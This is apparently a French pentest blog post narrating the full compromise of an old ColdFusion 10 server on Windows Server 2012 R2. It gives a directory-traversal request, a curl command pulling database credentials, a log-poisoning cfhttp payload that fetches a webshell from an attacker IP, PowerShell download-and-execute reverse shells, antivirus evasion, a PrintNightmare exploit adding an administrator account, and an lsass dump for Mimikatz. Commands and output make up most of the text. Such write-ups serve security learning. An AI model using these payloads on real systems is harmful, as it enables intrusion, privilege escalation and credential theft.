À l’attention des louveteaux
ColdFusion ? C’est quoi ça ? C’est avant tout un langage destiné au web, pour résoudre à sa sortie en 1995 le besoin de créer des pages web dynamiques tout en s’évitant d’avoir recours aux horribles CGI en Perl truffés de vulnérabilités en tout genre.
Certes on a eu droit à PHP et CFM (ColdFusion Markup Language) ce qui n’était pas forcément mieux en matière de sécurité :D
Quoi qu’il en soit ColdFusion a suivi un cheminement similaire à l’éditeur de pages web de l’époque Dreamweaver c’est-à-dire reprise par Macromedia, repris lui-même par Adobe.
Et d’après la page wikipedia et malgré la popularité des frameworks Python, ColdFusion continue d’exister avec une version 2021.
Félicie avait une fuite… ColdFusion… aussi !
Un scan Wapiti sur notre cible du jour remonte une faille de type directory traversal :
1
2
3
4
5
6
---
Windows local file disclosure vulnerability dans http://target/website/content.cfm via une injection dans le paramètre data
Evil request:
GET /web/content.cfm?data=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fservices&cid=48 HTTP/1.1
Host: target
---
On peut vérifier l’intégration des données dans la page directement depuis le navigateur :
ColdFusion est un peu marseillais et nous donne des informations précieuses quand il ne parvient pas à accéder à la ressource demandée, par exemple si on passe zozo à la variable data
vulnérable :
Spécifiquement à ce serveur ça ne s’arrête pas là, car l’accès à la section d’administration (où l’on s’attend à voir une mire de connexion) au chemin /cfide/administrator/index.cfm
nous retourne un code 403 qui contient cette fois le chemin d’installation du ColdFusion ainsi que sa version (ColdFusion 10 datant de 2012).
Extraction des identifiants de base de données
Que peut-on faire avec cette vulnérabilité ? D’après un article baptisé Attacking Adobe ColdFusion, on peut en profiter pour récupérer le contenu du fichier [ColdFusion_Install_Dir]\lib\neo-datasource.xml
qui contient les identifiants pour les différentes bases de données utilisées par les sites configurés sur le serveur.
Il faudra extraire le contenu utile du code HTML obtenu et le remettre un peu en forme pour qu’il soit lisible.
1
curl -s "http://target/website/content.cfm?data=..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\neo-datasource.xml" > dump.xml
Le contenu peut être rapidement énorme en fonction du nombre d’entrées, mais pour donner un aperçu, on obtiendra des infos ordonnées de cette façon :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<var name='web1dsn'>
<struct type='coldfusion.server.ConfigMap'>
<var name='alter'>
<boolean value='true'/>
</var>
<var name='create'>
<boolean value='true'/>
</var>
<var name='DRIVER'>
<string>MySQL 4 and 5</string>
</var>
<var name='CLASS'>
<string>com.mysql.jdbc.Driver</string>
</var>
<var name='url'>
<string>jdbc:mysql://localhost:3306/web1db?noDatetimeStringSync=true&zeroDateTimeBehavior=convertToNull</string>
</var>
<var name='username'>
<string>web1user</string>
</var>
<var name='NAME'>
<string>web1dsn</string>
</var>
<var name='grant'>
<boolean value='true'/>
</var>
<var name='password'>
<string>5j36qm2oMZhsQ+O056ZrC9xQOapvgYkcRtL687XUjkc=</string>
</var>
<var name='insert'>
<boolean value='true'/>
</var>
<var name='timeout'>
<number>120.0</number>
</var>
</struct>
</var>
Le mot de passe n’est pas un simple base64, il est aussi chiffré à l’aide d’une clé aléatoire. Heureusement cette clé est présente dans le fichier seed.properties
du même dossier :
On peut utiliser un exécutable Windows baptisé ColdFusionDecryptor décrit ici. Il a le bon goût de fonctionner parfaitement sous Linux avec l’émulateur Wine.
Cool ! Mais comme le serveur n’expose aucun service de contrôle d’accès ou de DB cela ne nous avance pas vraiment.
Vous avez dit include ? Je dis log poisoning !
Vous avez peut-être relevé la présence plus tôt d’une directive nommée cfinclude
dans le message d’erreur de la page vulnérable :
1
<cfinclude template="../#data#">
Cette ligne signifie inclus dans la page locale le template dont le path est donné via le paramètre data. Et oui, ColdFusion propose une directive similaire à la fonction include()
de PHP avec les mêmes risques ! (ce sont des blagueurs)
ColdFusion génère différents fichier de logs. Une technique d’empoisonnement des logs est décrite pour un ColdFusion 8 ici.
Nous allons l’appliquer sur notre ColdFusion 10. Pour avoir une idée du path à utiliser nous pouvons aussi fouiller dans le code de Clusterd, un outil d’exploitation pour cibler les serveurs JBoss, Tomcat, WebLogic, etc et bien sûr ColdFusion.
Avant de se jeter dans l’injection d’une directive CFM valide il est préférable de vérifier que l’injection des caractères nécessaires se fera correctement. Ce serait dommage de se fermer la porte en bloquant l’interprétation du code CFM parce qu’on a utilisé des doubles quotes qui seraient échappées dans les logs.
On va donc passer une valeur contenant les caractères souhaités dans le paramètre data
vulnérable afin qu’ils se retrouvent dans le fichier de log application.log
puis inclure ..\..\..\..\..\..\..\..\ColdFusion10\cfusion\logs\application.log
pour vérifier qu’ils ont été intégrés correctement :
1
2
3
4
5
6
7
8
9
Could not find the included template ../yolo#'<>yolo.
Note: If you wish to use an absolute template path (for example, template=""/mypath/index.cfm"")
with CFINCLUDE, you must create a mapping for the path using the ColdFusion Administrator.
Or, you can use per-application settings to specify mappings specific to this application by specifying a mappings struct to
THIS.mappings in Application.cfc. <br> Using relative paths
(for example, template=""index.cfm"" or template=""../index.cfm"") does not
require the creation of any special mappings.
It is therefore recommended that you use relative paths with CFINCLUDE whenever possible.
The specific sequence of files included or processed is: C:\home\target\wwwroot\website\content.cfm, line: 362
Success ! Il ne reste qu’à injecter un code CFM qui nous donnera un webshell.
On va reprendre le code présent dans l’article cité plus tôt :
1
<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>
Il faut bien sûr éditer les valeurs base64 qui correspondent respectivement à l’URL sur laquelle le serveur doit télécharger notre webshell et le dossier dans lequel le webshell doit être écrit. Le dernier paramètre en clair sera utilisé comme nom de fichier pour ce webshell.
À vous de calculer dans quel dossier écrire en vous basant sur les paths qui auront été leaké préalablement.
J’obtiens finalement le webshell attendu, victoire !
Patate ratée
Un èwhoami /all è retourne les informations suivantes :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
USER INFORMATION
----------------
User Name SID
================ ==============================================
target\cfusion S-1-5-21-snip-
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Je remarque aussi la présence de l’antivirus Avast
en listant les processus (tasklist /v
), je sais qu’il s’agit d’un processeur 64 bits (wmic computersystem get systemtype
) et enfin via la commande systeminfo
je peux savoir que l’OS est un Windows Server 2012 R2.
Je peux obtenir un reverse shell interactif sur la machine en appelant Powershell depuis le webshell. Pour cela j’encode d’abord ma commande dans l’encodage souhaité :
1
printf "iex (New-Object Net.WebClient).DownloadString('http://mon_ip/ns/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress mon_ip -Port 445" | iconv -t UTF-16LE | base64 -w0
Je déclenche ensuite le powershell :
1
c:\windows\system32\cmd.exe /C powershell -NonI -W Hidden -NoP -Exec Bypass -Enc ma_commande_base64
Bien sûr, le privilège SeImpersonatePrivilege
donne des envies de patates. Toutefois l’upload de ces exécutables bien connus des antivirus provoque leur suppression immédiate du serveur !
L’exécution du binaire en mémoire via Invoke-ReflectivePEInjection semble, elle aussi, détectée. Il apparaît en fait que Powershell a le mauvais œil de l’antivirus. Ainsi si vous créez un simple Hello world avec Visual Studio juste en sélectionnant Nouveau projet C# et que vous le compilez puis le déposez sur la machine, il est immédiatement supprimé malgré l’absence totale de charge virale.
Custom Nightmare
Le système semblait être aussi vulnérable à quelques vulnérabilités de DLL hijacking mais je ne disposais pas de droits pour redémarrer les services impactés.
J’ai finalement eu recours à un exploit en Powershell pour la vulnérabilité Print Nightmare.
L’exploit a besoin d’un fichier DLL contenant la charge finale et ce dernier est bien sûr détecté par l’AV :
1
2
3
4
5
6
7
8
PS C:\ColdFusion10\cfusion\bin> iex (New-Object Net.WebClient).DownloadString('http://my_ip/CVE-2021-1675.ps1');
PS C:\ColdFusion10\cfusion\bin> Invoke-Nightmare -DriverName "Xerox" -NewUser "devloop" -NewPassword "hack2021"
PS C:\ColdFusion10\cfusion\bin> Remove-Item : Cannot find path 'C:\Users\cfusion\AppData\Local\Temp\nightmare.dll' because it does not exist.
At line:147 char:9
+ Remove-Item -Force $DLL
+ ~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:\Users\cfusio...p\nightmare.dll:String) [Remove-Item], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.RemoveItemCommand
À la place, j’ai récupéré ce projet de DLL permettant d’ajouter un utilisateur sur le système. Je l’ai légèrement obfusqué et compilé. J’ai bien pris soin à ce que le fichier obtenu soit déposé sur le disque via le webshell et non par powershell pour éviter sa suppression.
L’exploit powershell dispose d’une option pour spécifier son propre fichier DLL :
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\ColdFusion10\cfusion\bin> Invoke-Nightmare -DLL C:\ColdFusion10\cfusion\bin\coldfusion.dll
PS C:\ColdFusion10\cfusion\bin> & cmd.exe /c net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
webadmin
devloop
The command completed successfully.
Et ça marche !
J’ai ensuite eu des difficultés à obtenir un shell avec ce nouveau compte et j’obtenais des Access denied sans comprendre pourquoi (mes connaissances du pentest Windows restent à approfondir).
Ainsi un runas
via Powershell comme ceci :
1
2
3
$password = ConvertTo-SecureString "hack2021" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("target\devloop", $password)
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object System.Net.webClient).downloadString('http://my_ip/ns/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress my_ip -Port 22" -Credential $cred -windowstyle hidden
Ou encore l’utilisation de RunAsSpc échouaient :-/
N’hésitez pas à éclairer ma lanterne si vous disposez d’une explication.
J’ai résolu le problème en créant un tunnel reverse SSH sur le serveur puis en forwardant le port RDP. Il ne restait plus qu’à utiliser xfreerdp
pour me connecter graphiquement au serveur.
Trophé
Une fois administrateur, je peux lancer le gestionnaire de taches et créer un dump du processus lsass.exe
. Une fois le dump téléchargé je peux en extraire des hashs avec Mimikatz
.
Published March 21 2022 at 18:13